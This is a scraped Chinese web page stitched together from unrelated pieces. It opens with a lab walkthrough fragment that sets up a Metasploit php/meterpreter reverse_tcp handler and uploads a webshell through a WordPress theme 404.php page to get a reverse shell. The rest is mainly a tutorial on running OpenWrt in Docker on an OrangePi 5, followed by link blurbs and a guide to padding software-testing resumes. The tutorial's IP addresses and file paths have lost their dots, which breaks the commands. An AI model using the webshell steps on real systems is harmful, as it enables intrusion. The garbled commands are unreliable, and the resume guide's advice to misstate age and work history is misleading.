 msf > use exploit/multi/handler

  

 msf exploit(handler) > set payload php/meterpreter/reverse_tcp

  

 Weoshell

  

 msf exploit(handler) > set Ihost攻击机IP地址

  

 msf exploit(handler) > set lport 4444

  

 msf exploit(handler)> run

  

 

  

  

 

  

  

 

  

  

 上传Webshell

  

 使用找到的敏感信息登录系统后台,上传webshell。 执行

  

 webshel(访问具有webshell的php页面)

  

 获得反弹的shell

  

 --

  

 wordpress上传点theme 404php

  

 执行: http://靶场IP/wordpress/wp-content/themes/twentyfourteen/404php

本文的软路由作为家中的二级路由,用一根网线连接主路由的LAN口和二级路由的WAN口(当主路由使用配置类似)

如果你想要作为旁路由或中继路由使用,在本文末尾会有相应文章的链接,但是Docker以及网卡的配置有一些坑建议参考本文。

准备

在开始安装之前,你需要准备好一些设备。

OrangePi5(其他版本或者树莓派都可以)

刷有系统的TF卡(以香橙派官方提供的Ubuntu镜像)

电源

一个USB的网卡(我这里用的是绿联的千兆网口,型号是AX88179。如果你的设备有多个网口的话就可以不用这个了)

双绞线若干

首先将香橙派组装好,插上USB网卡并在设备自带的网口上插上网线(网线另一端为主路由器的LAN),通电,进入系统(刷系统以及SSH配置等环节不是本文重点,详细看我以前文章或自行百度,本文默认基本环境已经配置完成并且读者能在终端简单使用vim等)

如果你要拿本设备当作主路由使用,但是身边没有其他路由器可用来帮助配置,可以将PC的网口与设备的网口用一根网线对等连接,只不过PC的默认网关必须手动设置为设备的IP地址。对等配置的方法可参考文章双网口主机通过 docker 安装 openwrt 实现软路由功能-CSDN

连接设备

使用你的PC通过SSH连接香橙派,或者直接在香橙派上接屏幕和键盘在终端中执行

网卡配置

获取信息

在终端中执行以下命令检验USB网卡是否挂载

lsusb

1

1

如果出现对应的设备信息,应该就是成功了(这里的AX88179就是我的USB网卡)

Bus 001 Device 002: ID 0b95:1790 ASIX Electronics Corp AX88179 Gigabit Ethernet

1

1

再执行以下命令

ifconfig

1

1

一般设备自带的名称为eth0,记录它被分配的IPv4地址及子网掩码。

而USB的网卡名称与品牌和型号有关,我的名称是enx后面跟上mac地址,这需要根据你自己的情况做判断,本文以enx名称为例。(如果设备是双网口而不是用的USB网卡的话,此处应该是eth1,若果是无线网卡的话应该是wlan0。不绝对,仅供参考)

除此之外我们还要拿到默认网关的地址(默认网关一般是所连接的路由器的地址)

route -n

1

1

找到Destination字段为0000的那一行的Gateway字段对应的地址即为默认网关

例如我拿到的ip为192168124,子网掩码为2552552550,默认网关为19216811,下文将以此地址为例进行配置(你的可能跟我不一样,在配置的时候以你为准)。

另外补充一点,我们会在接下来将eth0对应的网口作为WAN口,env对应的外接USB网口作为LAN口。

开启网卡的混杂模式

执行以下命令,将上述网卡设置成混杂模式

ip link set eth0 promisc on

ip link set env promisc on

1

2

1

2

要取消的话将上述命令的on改为off即可

开启ipv4转发

修改配置文件

vim /etc/sysctlconf

1

1

添加一行配置

netipv4ip_forward = 1

1

1

或者将原文件中的netipv4ip_forward = 1注释给取消

按esc+:,并输入wq保存文件后执行命令重新添加配置

sysctl -p /etc/sysctlconf

1

1

Docker配置

安装Docker

执行以下命令

sudo apt update

sudo apt install docker

1

2

1

2

配置Docker服务开机启动

在我的设备上(OrangePi 5)总是存在设备重启,但是OpenWRT不启动的现象,即使我已经将Docker容器设为了开机自启。最后发现是Docker本身的服务没有设为开机自启。

目前对于树莓派是否会有这种情况暂不明确,读者可自行使用下放命令进行验证。

systemctl list-unit-files | grep docker

1

1

找到输出结果的dockerservice一行

dockerservice disabled enabled

dockersocket enabled enabled

1

2

1

2

如果如上所示,是disabled,那么说明Docker本身的服务并不是开机自启动

通过以下命令可进行修改

systemctl enable dockerservice

1

1

再执行systemctl list-unit-files | grep docker输出结果变成了enabled即修改成功

dockerservice enabled enabled

dockersocket enabled enabled

1

2

1

2

获取Docker镜像

由于OrangePi5是arm架构的,所以使用的镜像必须是兼容arm的

我用的是suling大佬制作的Docker镜像,这里附上Docker Hub链接

Docker Hub: https://hubdockercom/r/sulinggg/openwrt

注意,这里与你的设备有关,本文只给出树莓派和armv8/aarch64的镜像获取操作。为方便参考,此处附上一张镜像对应设备的表格(不代表最新),但仍建议访问上述链接查看适配你设备的镜像

支持设备/平台 DockerHub 阿里云镜像仓库 (上海)

树莓派 1B sulinggg/openwrt:rpi1 registrycn-shanghaialiyuncscom/suling/openwrt:rpi1

树莓派 2B sulinggg/openwrt:rpi2 registrycn-shanghaialiyuncscom/suling/openwrt:rpi2

树莓派 3B / 3B+ sulinggg/openwrt:rpi3 registrycn-shanghaialiyuncscom/suling/openwrt:rpi3

树莓派 4B sulinggg/openwrt:rpi4 registrycn-shanghaialiyuncscom/suling/openwrt:rpi4

armv7 sulinggg/openwrt:armv7 registrycn-shanghaialiyuncscom/suling/openwrt:armv7

arm8/aarch64 sulinggg/openwrt:armv8 registrycn-shanghaialiyuncscom/suling/openwrt:armv8

i386_pentium4/386 sulinggg/openwrt:386 registrycn-shanghaialiyuncscom/suling/openwrt:386

x86_64/amd64 sulinggg/openwrt:x86_64 registrycn-shanghaialiyuncscom/suling/openwrt:x86_64

如果你的设备为OrangePi5或者其他armv8/aarch64的设备,请在终端中执行下方命令

docker pull sulinggg/openwrt:armv8

1

1

如果你的设备为树莓派2B/3B/3B+/4B,请在终端执行下方命令

docker pull sulinggg/openwrt:latest

1

1

创建WAN端口的macvlan

macvlan是linux的一种虚拟化网卡技术,可将一块物理网卡虚拟成多块虚拟网卡,并且每个虚拟网卡都可以将其虚拟mac并且指定相应的IP地址。

使用以下命令可查看系统是否支持macvlan。

modprobe macvlan

1

1

如果不支持,则需要升级Linux内核。(像OrangePi5、树莓派等官方提供的最新镜像一般都是支持的)

创建WAN端口的macvlan,名称为macnet0

docker network create -d macvlan --subnet=19216810/24 --gateway=19216811 -o parent=eth0 macnet0

1

1

注意,这里需要根据上述获取到的地址来配置(根据你的实际情况来填)。subnet字段对应端口所处的网络地址19216810/24,其中的/24为子网掩码对应2552552550;gateway字段对应默认网关19216811;parent对应网卡。

可执行下方命令,验证是否创建成功

docker network ls

1

1

如果输出结果的NAME字段那一列有macnet0即成功。

LAN端口的macvlan暂不创建。

启动容器

此处请先阅读参数说明再执行命令!

docker run -d --restart always --network macnet0 --ip 1921681100 --privileged --name openwrt sulinggg/openwrt:armv8 /sbin/init

1

1

简单说明下几个参数:

--restart always为开机自启

--network macnet0为我们刚才创建的WAN端口的macvlan

--ip 1921681100是为容器分配的ip地址,这里需要注意网段与eth0获取的一致,并且不能够冲突(也就是说当前网络下不能有其他设备的地址为1921681100)。需根据自己的实际情况来配置。

--privileged为特权模式

--name openwrt容器名称为openwrt

sulinggg/openwrt:armv8对应刚才获取的镜像。如果你的设备是树莓派,并且是按照我文章上方的命令获取的,则此处为sulinggg/openwrt:latest。其他设备则须根据你获取的镜像来写。

进入容器

端口配置

输入命令即可进入容器

docker exec -it openwrt bash

1

1

Ps: 输入exit可退出容器终端

配置文件

vim /etc/config/network

1

1

将字段(不要在意这个名称,之后我们会改)

config interface 'lan'

option type 'bridge'

option ifname 'eth0'

option proto 'static'

option ipaddr '192168123100'

option netmask '2552552550'

option ip6assign '60'

option gateway '1921681231'

option broadcast '192168123255'

option dns '1921681231'

1

2

3

4

5

6

7

8

9

10

1

2

3

4

5

6

7

8

9

10

修改为(还是根据上文和你的实际情况来)

config interface 'lan'

option type 'bridge'

option ifname 'eth0'

option proto 'static'

option ipaddr '1921681100'

option netmask '2552552550'

option ip6assign '60'

option gateway '19216811'

option broadcast '1921681255'

option dns '19216811'

1

2

3

4

5

6

7

8

9

10

1

2

3

4

5

6

7

8

9

10

其中

ipaddr后的地址与Docker容器分配的地址一致

netmask后为之前获取的子网掩码

gateway后为之前获取的默认网关

broadcast后为广播地址,改成同一网段

dns后为dns地址,此处保持与默认网关一致

按esc+:,并输入wq保存文件

重启容器网络

/etc/initd/network restart

1

1

创建LAN端口的macvlan

LAN端口的macvlan的网段可以根据你的需要人为规划,我这里以网卡env和网段1921682x/24为例

创建LAN端口macvlan,名称为macnet1

docker network create -d macvlan --subnet=19216820/24 --gateway=19216821 -o parent=env macnet1

1

1

参数的含义同上文

然后,我们将容器加入到这个网络来。

docker networkc connect macnet1 openwrt

1

1

OpenWRT管理页面配置

进入管理页面

将你的PC连接到与软路由的WAN端口同一网络下,并在浏览器地址栏中输入1921681100

这里的地址与上文中容器分配的地址一致,同样根据你的实际情况来。

用户名是root,默认密码为password

LAN接口配置

在默认配置中,名称为lan的接口实际上是WAN接口,这里我们再另外创建接口。

打开网络->接口,点击页面中的添加新接口,名称为LANS,协议为静态地址,以太网适配器选eth1(这里的eth1不是宿主机的,而是对应macnet1)

提交后,我们对此接口进行修改。配置如下图所示(IP地址与macnet1网段一致)

然后防火墙设置为lan区域

页面底部,取消下图中的勾选,在此端口开启DHCP服务器

然后在高级设置里,开启动态DHCP和强制DHCP

最后,点击保存&应用按钮。

防火墙设置

为了让PC能从WAN侧去访问OpenWRT,将网络->防火墙 WAN区域的入站从拒绝改为接受

点击应用&保存。

WAN接口配置

wan接口配置建议将PC连接到USB网口,然后通过地址19216821进入管理界面,因为接下来会将原有的名称为lan的接口删掉,操作不慎可能会导致当前页面无法访问。

如果连接到USB网口,PC无法通过DHCP服务获取IP,并且在PC控制台中尝试Ping命令

ping 19216821

1

1

若无法访问网关,则可以在PC上将获取IP地址的获取方式改为静态,并将设置本机IP为19216822(只要在同网段且不冲突即可),默认网关为19216821,子网掩码为2552552550。

首先还是创建接口,协议推荐选择静态,以太网适配器选择eth0。

(如果你要将这个设备之后作为主路由的话,光猫模式为桥接模式,这里要改成PPPoE;如果光猫为PPPoE的话,这里就要设成DHCP)

创建完成后,点击修改,配置如下图。

防火墙与DHCP配置如下

点击保存&应用按钮。

删除原有接口

最后我们要回到网络->接口页面,删除原有的名称为lan的接口

添加静态路由

完成上述步骤你会发现LAN一侧可能无法上网,这时候添加一条静态路由规则

打开网络->静态路由,在静态IPv4路由那里点击添加

接口选择LANS,对象为19216820,子网掩码为2552552550,IPv4网关为WAN口地址1921681100

这时候我们回到Docker容器内终端中(注意是容器内),重启下网络

/etc/initd/network restart

1

1

问题

LAN侧无法上网

上述配置完成后,LAN侧接入PC无法仍旧无法上网

步骤一

重启宿主机

步骤二

如果步骤一没解决问题,并且LAN侧PC访问网页显示找不到DNS服务器,可以尝试以下配置

进入到Docker容器

docker exec -it openwrt bash

1

1

打开文件

vim /etc/resolvconf

1

1

最下方添加

nameserver 8888

1

1

保存并重启容器网络

/etc/initd/network restart

1

1

按理来讲是不用配置这一步的,即使修改了文件也会被管理页面的配置覆盖。但是非常邪门,在我的设备上不进行这一步会出一些上不去网的现象。请读者根据自己的情况来判断吧。(如果你不懂这些东西,建议照做)

容器网络无法访问宿主机

Docker为了保证安全性,是不允许容器去访问宿主机的,但是并不绝对可以通过配置去绕过限制

可以参考 https://wwwtreesirpub/post/n1-docker/

网卡混杂重启失效问题

我在OrangePi 5 上进行配置的时候并未遇到过这种情况,但网上许多文章都提到了这种现象,所以我就写了这部分内容。

此部分参考了https://wwwcnblogscom/mokou/p/16173553html

写个开机启动的脚本就好了

vim /etc/initd/iplinksetsh

1

1

写入内容

#!/bin/sh

ip link set eth0 promisc on

ip link set env promisc on

1

2

3

1

2

3

增加可执行权限

chmod +x /etc/initd/iplinksetsh

1

1

设置开机启动权限

update-rcd iplinksetsh defaults

1

1

如果要禁用开机启动,则可执行下方命令

update-rcd -f iplinksetsh remove

1

1

对OpenWRT容器停止或删除导致宿主机卡顿或重启

这点在Docker镜像作者的文章中提到过,原文如下:在对容器进行停止或删除操作时,树莓派可能会发生卡顿现象,SSH 可能会断开,1~2 分钟后会恢复正常,目前原因不明

OpenWRT插件问题

同样源于镜像作者文章:经测试,发现 Adblock 不工作,UnblockNeteaseMusic 需要自行设置代理,除此之外容器中的 OpenWrt 多数应用工作正常

其他配置

有些人的需求不一定跟我一样,可能会把设备拿来做旁路由等,可部分参考下方文章

旁路由(这是本文使用的Docker镜像作者的文章,比较详细):https://mlappcn/376html

主路由:https://wwwcnblogscom/mokou/p/16173553html

结束

由于作者写这篇教程的时候已经搭建完成了,加上时间仓促,上述部分操作是根据回忆来写的,甚至有些步骤没有经过二次验证,可能存在些许错误,如有发现请及时反馈。

文章知识点与官方知识档案匹配

云原生入门技能树首页概览

8792 人正在系统学习中

点击阅读全文

打开CSDN APP,看更多技术内容

树莓派4B跑 OpenWrt 根目录扩容 及 docker 配置_sean908的博客

首先需要ssh到路由器 # 把软件包列表更新 opkg update # 安装分区软件 opkg install cfdisk # 使用cfdisk进行空间划分 cfdisk /dev/mmcblk0 我用的是16G的存储卡, 把空闲空间全拿来划给根目录和docker 其中docker分区的直接在cfdisk里

继续访问

树莓派_教你用树莓派安装集成docker版openwrt、homeassistant等及一

集成DOCKER版本OPENWRT,还有HOME ASSISTANT以及N1 智能家居镜像出炉,ARMBIAN系统全DOCKER形式包含OPENWRT这两篇帖子以来,一时心痒痒,重新拿出吃灰多年的树莓派3B+以及春节入手的N1折腾了起来。

继续访问

openwrt-orangepi-zero-ext4-sdcardimggz

OpenWrt-Lede_180602 OrangePi Zero wifi-xr819 and soc-audio enabled! OrangePi Zero 安装OpenWrt 能够实现wifi和播放音乐。 详细安装和操作步骤: First Run boot-config: http://192168101/cgi-bin/modules/boot-config/indexcgi Click Create a backup of uboot (dtb-file) Configure items to boot (wifi-xr819, Sunxi-IR, 1Wire (PA06 GPIO-6), i2c0, i2c1, pwm0, usb2-3 ) Click Save changes Click Apply changes, and reboot Orange-pi reboots and a new AP appears "orangepi-zero"

热门推荐 在Docker 中运行 OpenWrt 旁路网关

步骤开始 成功登陆到树莓派的 SSH 后,在拉取镜像之前,我们还需要进行一些额外的工作: 1打开网卡混杂模式 sudo ip link set eth0 promisc on 2创建网络 (须结合实际网络情况,不能照抄命令) docker network create -d macvlan --subnet=1921681230/24 --ga

继续访问

openwrtx86安装docker_群晖Docker安装openwrt简易流程_weixin_3995137

在docker安装openwrt前要准备三个前提: 一、开启ssh并启用root,这个就不赘述了,百度一下或者张大妈都有很多教程的。 二、docker安装Portainer可视化面板; 三、开启设置以太网卡开启混杂模式,docker搭建macvlan网络。

继续访问

贝壳如何docker安装openwrt_基于Docker编译openwrt_简甜XIU09161027的

Docker确实是个好东西,当我用MAC OSX下载编译openwrt过程中遇到不少问题时,想到openwrt官网wiki建议使用的Ubuntu,于是我想到了Docker。 至于Docker怎样好,在MAC OSX里怎么安装,在这里不作细说,可参考这篇文章。

继续访问

斐讯盒子N1-docker入门二(制作openwrt)

一、准备工作 1、下载源码 git clone https://githubcom/openwrt/openwrtgit 2、安装依赖包 apt-get install gcc binutils bzip2 flex python perl make find grep diff unzip gawk getopt subversion libz-dev libc 3、安装源码包 /scripts/feeds install -a /scripts/feeds install -a 二

继续访问

Auto_Build_OpenWrt:自动构建ARMv8设备的OpenWrt

行动OpenWrt 使用GitHub Actions构建OpenWrt并发布Docker映像 感谢P3TERX , bin20088和flippy ,这只是他们工作的结合。 发行的固件适用于S9xxx设备,Newifi_D2,G-Dock,amd64和带有rtl8125以太网设备的J4125。 随意或拉以节省时间,它将每天更新。 如何使用 您需要添加4个(至少第一个)机密,才能使Actions正常工作。 RELEASES_TOKEN ,应该是您的Github个人访问令牌,并且至少已检查public_repo 。 DOCKER_USERNAME (可选,如果不需要aarch64 docker img)是您的dockerhub用户名。 DOCKER_PASSWORD (可选,如果您不需要aarch64 docker img),它实际上不是您的dockerhub帐户的密码,而是从do

orangepi安装PHP5,OrangePi Zero 制作NAS服务器

系统选择我选择的系统是dietpi,当然你也可以尝试使用基于debian的其他系统(比如:armbian)dietpi首先添加openmediavault软件源:编辑/etc/apt/sourceslistd/openmediavaultlist(没有则自行创建)vi /etc/apt/sourceslistd/openmediavaultlist在openmediavaultlis

继续访问

最新发布 Orangepi 5 Unixbench基准测试结果

OPI 5的Unixbench基准测试结果

继续访问

树莓派中利用docker搭建openwrt旁路由

树莓派中利用docker搭建openwrt旁路由 注意需要先查看内核信息(需要是aarch64) uname -m 1查询当前网卡名称(以下均以网卡名eth0为例,请注意替换) ifconfig 2打开网卡混杂模式 ip link set eth0 promisc on 3创建虚拟网络 docker network create -d macvlan --subnet=19216800/24 --gateway=19216801 -o parent=eth0 macnet 4拉取

继续访问

Docker和Docker 网卡的创建及其使用openWRT

Docker使用及其应用

继续访问

orangepi zero2 安装openwrt的docker方法

orangepi zero2 docker安装openwrt docker安装 curl -fsSL https://getdockercom | bash -s docker --mirror Aliyun 或 curl -sSL https://getdaocloudio/docker | sh openwrt安装 查看网络信息 ifconfig 网卡混杂模式 ip link set eth0 promisc on 创建macvlan,ip替换自己的网络ip docker network

继续访问

使用香橙派zero2及其他单网口开发板搭建UU加速盒

使用香橙派zero2及其他单网口开发板搭建UU加速盒

继续访问

Linux 51移植到orange pi (五)--USB摄像头

1:mjpg-streamer在orange pi ubuntu上测试UVC camera sudo apt-get install libjpeg8-dev sudo apt-get install imagemagick sudo apt-get install libv4l-dev sudo apt-get install cmake git clone https:/

继续访问

云原生之Docker实战使用Docker部署openwrt软路由

云原生之Dokcer实战使用Docker部署openwrt软路由

继续访问

OrangePi Zero 安装OpenWrt 实现wifi和播放音乐

OrangePi Zero 安装OpenWrt 实现wifi和播放音乐 官方Orange Pi Zero硬件规格: CPU H2 Quad-core Cortex-A7 H265/HEVC 1080P GPU Mali400MP2 GPU @600MHz Memory 512MB DDR3 TF card (Max 64GB)/ NOR Flash(2MB Default not posted) 10/100M Ethernet WIFI XR819, IEEE 80211 b/g/n 1

继续访问

树莓派Raspberry Pi 3B+ 安装OpenWrt及配置(有线、无线联网,AP)

OpenWrt官方介绍 OpenWrt项目是一个针对嵌入式设备的Linux操作系统。OpenWrt不是一个单一且不可更改的固件,而是提供了具有软件包管理功能的完全可写的文件系统。这使您可以不使用供应商提供的应用程序选择和配置,而是通过使用软件包来定制设备以适应任何应用程序。对于开发人员来说,OpenWrt是一个无需围绕它构建完整固件就能开发应用程序的框架; 对于普通用户来说,这意味着拥有了完全定

继续访问

ARMv8的两种执行状态: AArch64/AArch32

Copied from ARM® Compiler User Guide When compiling code, you must first decide which target the executable is to run on An ARMv8-A target can run in different states: • AArch64 state targets execu

继续访问

香橙派R1 Plus开发板使用OpenWRT镜像的操作说明

香橙派R1 Plus电脑开发板采用瑞芯微RK3328 四核64位处理器,拥有1GB DDR4内存、双千兆网口、TF卡插槽、散热风扇接口等功能接口,支持openWRT等操作系统,板子其中一个千兆网口是 USB30 转接的,实测转发速率能达到900MB以上,适合作为家庭路由器使用,其中,r1plus的openwrt系统已经配置好,可以直接用作路由器。 openwrt镜像的安装和烧写 Linux 镜像的方法是一样的,大家可以参考下香橙派官方的使用手册。下文对系统的使用做简单的说明: 1、OpenWRT

继续访问

树莓派4B跑 OpenWrt 根目录扩容 及 docker 配置

本文主要 对树莓派使用存储卡运行OpenWrt时根目录空间紧缺 及docker初始化 做简要介绍

继续访问

刷软路由系统openwrt并基础配置网络

首先常见路由线路有 光猫拨号 => 路由器ap 光猫拨号 => 路由器ap => 软路由(单臂路由) 光猫拨号 => 软路由 => 路由器ap (隔一层nat转发) 光猫桥接 => 软路由 => 路由器ap (软路由拨号)

继续访问

双千兆网口开发板香橙派R1 Plus 运行OpenWRT系统使用Samba网络共享

香橙派Zero2开发板采用全志H616 四核 64位处理器,512MB/1GB 内存可选,集成千兆以太网、蓝牙50+双频WiFi、USB20、Micro-HDMI等端口,适配了OpenWRT系统,可做路由器方案。 下文将介绍安装OpenWRT后如何使用Samba 网络共享: 1) 点击“服务”->“网络”进入Samba 网络共享管理页面 2) 点击底部“新增”需要共享的目录,这里以设置共享/mnt 目录为例,设置好共享 目录的名称、路径和权限后,点击“保存并应用” 3) 在 w

继续访问

orangepi zero2部署网心云docker版

orangepi zero2部署网心云docker版

继续访问

树莓派docker安装openwrt

docker

linux

写评论

评论

收藏

点赞

分享

前往

×

解决方法是:

在/root/ssh/known_hosts 文件里面将原来的公钥信息删除即可。

具体原因分析,SSH 报“Host key verification failed”。

客户端无法正常通过 SSH 连接服务器时,先通过如下方式进行 telnet 端口测试,判断是否是中间网络异常所致。

一般来说,出现该错误有这么几种可能:

1ssh/known_hosts 里面记录的目标主机 key 值不正确。这是最普遍的情况,只要删除对应的主机记录就能恢复正常。

2 ssh 目录或者 ssh/known_hosts 对当前用户的权限设置不正确。这种情况比较少,一般正确设置读写权限以后也能恢复正常。

3 /dev/tty 对 other 用户没有放开读写权限。这种情况极为罕见。出现的现象是,只有 root 用户能够使用 ssh client,而所有其他的普通用户都会出现错误。

ssh登陆不能在命令行中指定密码,sshpass 的出现,解决了这一问题,用于非交互的ssh 密码验证 它支持密码从命令行,文件,环境变量中读取。

SSH是用一种协议,它可以让一台计算机用一种比较安全的方式登录远程主机。

使用SSH连接,自然需要相应的客户端和服务端软件,采用OpenSSH。

ssh命令的基本用方法就是 ssh username@ipaddress 。username就是远程主机的用户,ipaddress是远程主机的IP地址,你也可以把它换成域名。可以只输入ssh来获得它的帮助信息,查看更多细节。

请记住username@ipaddress 这种格式,因为它在其他命令行工具(如 git 和 scp )中屡见不鲜,这时就会知道该工具是用SSH来访问远程主机的。

一、简历重要性以及编写原则

能力,经验,技能和工作态度的提现。 对自身的说明书。 主要是提现你的价值。 包装简历的原则:(不失真的包装)

1合适原则:需要的是合适,能够为企业带来价值的人。

2营销原则:不是说需要陈述一个真实而全面的你,而是一个简短的营销稿,需要扬长避 短,突出重点和优势。

二、简历模板

简单大气,清晰整洁。最好上下结构。不要花里胡哨。

三、简历包装

1个人信息

七要素必备:姓名,性别,年龄(男生接近32,女生接近30,可以考虑稍微包装一下), 电话,邮箱,住址(精确到市),求职意向。

优势必填:英语四六级,学历:211,985本科。

女生:婚姻:已婚已育。

照片:一般不放。 身高,籍贯,工作年限(测试之前有3年,测试4年),政治面貌。么有意义的不要写

2教育经历

20069-20096 湖南大学 专业/学历

注意:

1计算机相关专业可以写专业,非计算机相关专业只写学历,计算机科学与技术,软件开 发,软件工程,网络工程。

2如果既有专科学历,又有自考本科学历。 情况一:专科学历和本科学历毕业时间很近。只写本科学历。 情况二:专科学历和本科学历毕业时间很远。两者都要写。 情况三:民教网(写了可以增加面试机会,但是会有面试通过了,也会被筛的情况)

3写一些加分项

证书,核心课程(python,c语言,计算机技术,数据结构),励志奖学金,活动的组织。

3专业技能

(简历最核心之一:50%-80%)

错误示范:(不能看出你的技能深度)

1熟悉软件测试流程和理论,熟练掌握测试方法。

2熟练使用Postman,jmeter等接口测试工具。

3熟练seleniun+webdriver的自动化测试。

4熟练requests的接口自动化测试。

一、专业技能 正确示范:

(技能至少8-10条左右,熟练的写上面,不熟练的写下面。包括:功能测试, Linux,数据库,接口测试,自动化测试,性能测试等。其他的特别的技能写1-2条在最后 面。)

1熟练测试理论,测试方法,测试流程以及常用的测试文档的编写,如:测试计划,方案, 用例,报告等,能够根据项目需求提取测试点,设计合理的测试用例,执行用例以及提交测 试报告。保证软件的质量。

2熟练Centos操作系统,熟练使用Linux常用命令,如:查看进程,查看端口,查看内存和 进程,动态日志等。熟练通过xshell远程连接linux服务器查看错误日志以及bug定位分析 等。熟练shell编程。熟练搭建测试环境。

3熟悉http协议,熟悉接口测试流程,接口用例设计,熟练使用Jmeter或Postman执行接 口测试,熟练接口关联,动态参数,接口加密,接口鉴权以及接口签名,熟练 Postman+newman+git+jenkins或Jmeter+Ant+git+jenkins实现持续集成。

到这里薪资封顶在14K。不考虑管理能力!

4熟练Git,Svn,Github,Gitlib,Gitee等版本控制工具,能够熟练的处理文件以及代码 的版本控制以及各分支和主干的文件冲突。

5熟练基于Python+requests+pytest+allure+logging+jenkins的接口自动化测试,能够 独立搭建接口自动化测试框架并在实际的项目中开展实施。95%覆盖率。

6熟练HTML和JS语言,熟练基于 Pytrhon+Selenium+unittest/pytest+htmltestrunner+logging+jenkins的web自动化 测试,熟练POM和关键字驱动设计模式,熟练基于ddt结合exctl的数据驱动并有实际项目 经验。30%覆盖率。 三年的产品:分五期来做,36个月/5=6个多月。web自动化比较合理的介入时间。在第一 期6个月之后才开始写脚本。 一年以内的项目:大部分不考虑web自动化,除非覆盖率很低,低到只做冒烟用例。

7app自动化一般不写。

8不会的写自学。

二、管理技能

组织沟通能力,团队建设能力,工作压力,工作业绩。带了多少人的测试团队。

要么根据你的技能来问,要么问的是公司需要的技能。

4工作经验

20199-至今 码尚教育 金牌讲师 20189-20199 华辰教育 金牌讲师

注意:

1工作经历必须是从大学到今天所有的经历,不能少、

2如果是中途通过培训进入的测试行业,那么以前的经历要写和计算机相关的岗位,比如: 网络工程师,运维工程师,系统管理员,技术支持,实施。财务系统管理员。

3尽量不要超过三家公司,不要出现频繁跳槽,最好是2-3年一家公司。最近的一家的公司 可以写真实的,其他的按前面的写。

4工作经验里面不要和项目经验混到一起写。看不清楚。

5项目经历

(4-5个项目) 10年,只写最近的四个项目。后面的项目和时间都不写。

项目一:顺丰CMS全球供应链一站式服务平台

项目时间:XXX

项目描述:XXX

项目职责:XXX

注意:

项目名稍微包装得高大上一点,看起来像一个真实的项目。 项目时间:需要连贯的,可以重叠。时间一般为4-8个月,

项目描述:需要5行,包括项目背景,行业,用户规模,主要业务,主要模块等,

特别是一 定要注意项目的价值。CRM系统,理财项目P2P,区块链技术。

项目职责:(需要8行,提现你在项目中的重要性,技能一定要融入职责)

6自我评价

不要太泛。 写个人突出的业绩,工作态度,学习能力等。

结尾:附赠高阶软件测试模板一份:具体编写如下

点击下方蓝色字体领取或者添加V:mashang-zz(备注:999)

全套软件测试/自动化测试海量资料免费领取(简历模板,测试用例,文档)

高级软件测试工程师简历模板

基本信息:

姓 名:文同学 性 别:男

民 族:汉 出生年月:199109

联系电话:168888888 学 历:本科

邮 箱:168888888@163com 现居地址:广东省深圳市宝安区西乡街道

教育背景:

201209-20166 毕业院校:湖北工业大学商贸学院 学历:本科

在学校里面参加过很多社团协会,并且协助组织了足球赛,夏令营,秋游等一系列活动。

组织同学一起去敬老院看望老人,献血等公益活动。

2013年获得优秀大学生称号

工作经历:

20159-20187 深圳市凯路网络技术有限公司 软件测试工程师

专业技能:

精通测试理论,方法以及常用的文档编写,如:测试计划,测试用例,测试报告等;

精通应用黑盒测试的方法;如边界值、等价类、场景法、因果图判定法、错误推断法等进行用例测试;

项目经验:

一.项目名称:信通借贷平台 2017年6月——2018年7月

项目简介:信通借贷平台,是信通借贷平台与网络借贷相结合的互联网金融服务平台,为有资金需求和理财需求的个人搭建了一个公平、透明、稳定、高效的平台,是目前正在兴起的基于互联网应用的一个相对较新的金融理财模式。该项目属于B/S架构。主要分前端和后台,前端主要模块有,首页,我要投资,我要贷款,新手指引,积分商城,我的帐户等模块;后台主要包括的模块有,系统首页,贷款管理,理财管理,会员管理,资金管理,待办事务,统计模块,部门管理,积分商城,前端设置,系统设置等模块。为管理贷款客户信息提供了很大的便利。

项目职责:

1、了解客户金融项目的需求、项目的流程 、参加项目的评审、需求分析。

2、根据需求规格说明书和设计文档和项目的流程编写测试用例。

3、参与用例的评审,仔细审查项目的用例报告,根据领导的要求完善测试用例。

4、用例评审通过后严格执行测试用例,用禅道缺陷工具提交bug,跟踪缺陷。

5、对开发修复完成后在进行回归测试直到回归关闭。

6、利用jmeter测试web端的接口,并导出接口测试报告,对照接口文档。

7、对主要的业务功能模块编写自动化测试脚本,执行自动化测试。

8、编写测试报告。

二.项目名称:易安支付 2016年10月——2017年6月

项目概述:易安支付项目是一个运营支付和互联网交易的业务平台系统,支持各类线上线下支付应用。致力于个人、企业打造一个“安全、高效、便捷、省钱、赚钱”的电商平台。在易安支付平台上不仅可以进行水电煤的缴费、三网手机话费充值、还信用卡、购火车票**票等、交交通罚款,而且可以在上面购买各种各样商品,还能够在平台上理财、购买各类保险。该系统主要的功能模块有登录注册、首页、理财、支付、借贷、保险、购物、实名认证、充值、提现、发现等。我主要负责的功能模块是登录注册、理财、购物、支付、借贷等。

责任描述:

1、熟读需求文档和设计说明书,参与项目的需求分析,做需求评审,找有异议的地方以及潜在需求,确定需求。

2、根据需求分析,写出测试点和测试用例,并参与评审,修改完善测试用例。

3、对开发提供的可测试版本进行冒烟测试,验证基本功能正常使用。

4、执行测试用例,发现缺陷并通过禅道提交bug,进行缺陷跟踪和做回归测试。

5、了解性能需求,准备性能软硬件资源,使用LoadRunner录制维护脚本,执行性能测试。

6、对测试工作进行总结,编写测试报告。

7、回顾项目,了解项目当中遇到的问题,并进行会议讨论。

个人评价:

工作主动积极,有强烈责任心和严谨工作作风,积极思考,良好的协作沟通能力和团队合作精神

学习能力强,有较强分析、定位和解决问题的能力,具有较强逻辑思维能力和表达能力

能积极完成领导交代的任务,并且很有条理的按计划完成。

为人活泼开朗,和同事之间容易相处,能很快的和开发人员搞好关系。

有很强的团队意识,能积极的配合同事完成项目。

资料领取请备注:999

微信名片

点击阅读全文

打开CSDN,阅读体验更佳

车载系统简历xmind

车载系统简历xmind

软件测试,怎么包装简历?

首先明确的包装简历不等于欺骗,只是把你的最好一面展示出来,给别人一个好的映像;(就相当于相亲,哈哈) 无论如何包装简历,注意简历上的东西一定要会、一定要会、一定要会(面试官一般会针对简历上的问题进行提问,万一不会,多尴尬呢) 包装简历从以下几点出发: 1)整个排版格式:格式一定要适当、合适;不能太花哨、字体不统一、未对齐;你毕竟是面试软件测试岗位属于IT,不能太有创意

继续访问

最新发布 阿里内部整理,2022接口测试最全面试题(附文档&简历模板)

前天和前同事约出来碰了碰,他现在是阿里P7,大大小小面试都百来回了。正好我最近也需要去面一些新人,所以让他给我整理了这一套接口测试相关的面试题。 大家如果正在面试的话也可以参考一下,技不压身。

继续访问

第1期-软件测试-简历-正确编写测试简历的姿势

